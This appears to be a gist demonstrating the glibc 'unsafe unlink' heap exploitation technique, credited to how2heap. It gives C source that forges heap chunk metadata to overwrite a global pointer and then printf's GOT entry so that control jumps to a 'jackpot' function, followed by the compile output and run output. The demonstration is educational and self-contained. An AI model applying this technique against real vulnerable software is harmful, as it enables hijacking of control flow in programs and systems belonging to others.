unsafe unlink attack / https://github.com/shellphish/how2heap

gistfile1.txt

$ gcc unsafe_unlink.c -o unsafe_unlink
unsafe_unlink.c: In function ‘main’:
unsafe_unlink.c:25:24: warning: assignment makes pointer from integer without a cast [enabled by default]
     *(void **)(p+0x40) = 0x40;
                        ^
unsafe_unlink.c:26:24: warning: assignment makes pointer from integer without a cast [enabled by default]
     *(void **)(p+0x48) = 0x90;
                        ^
unsafe_unlink.c:37:24: warning: assignment makes pointer from integer without a cast [enabled by default]
     *(void **)(p+0x18) = 0x601028;  /* printf@got */
                        ^

$ ./unsafe_unlink
&p = 0x601060
p = 0x1a8a010
p1 = 0x1a8a060
p1->prev_size = (nil)
p1->size = 0x91

[+] modify p
p->fd->bk = 0x601060
p->bk->fd = 0x601060
p1->prev_size = 0x40
p1->size = 0x90

[+] p <- &p-0x18
p = 0x601048

[+] modify &p and overwrite p
jackpot!

unsafe_unlink.c

#include <stdio.h>
#include <stdlib.h>

char *p;

void jackpot()
{
    puts("jackpot!");
}

int main()
{
    printf("&p = %p\n", &p);

    p = malloc(0x40);
    char *p1 = malloc(0x80);
    printf("p = %p\n", p);
    printf("p1 = %p\n", p1);
    printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
    printf("p1->size = %p\n", *(void **)(p1-0x8));

    puts("\n[+] modify p");
    *(void **)(p+0x10) = (void *)&p-0x18;
    *(void **)(p+0x18) = (void *)&p-0x10;
    *(void **)(p+0x40) = 0x40;
    *(void **)(p+0x48) = 0x90;
    printf("p->fd->bk = %p\n", *(void **)(p+0x10)+0x18);
    printf("p->bk->fd = %p\n", *(void **)(p+0x18)+0x10);
    printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
    printf("p1->size = %p\n", *(void **)(p1-0x8));

    puts("\n[+] p <- &p-0x18");
    free(p1);
    printf("p = %p\n", p);

    puts("\n[+] modify &p and overwrite p");
    *(void **)(p+0x18) = 0x601028;  /* printf@got */
    *(void **)p = jackpot;

    printf("p = %p\n", p);
    return 0;
}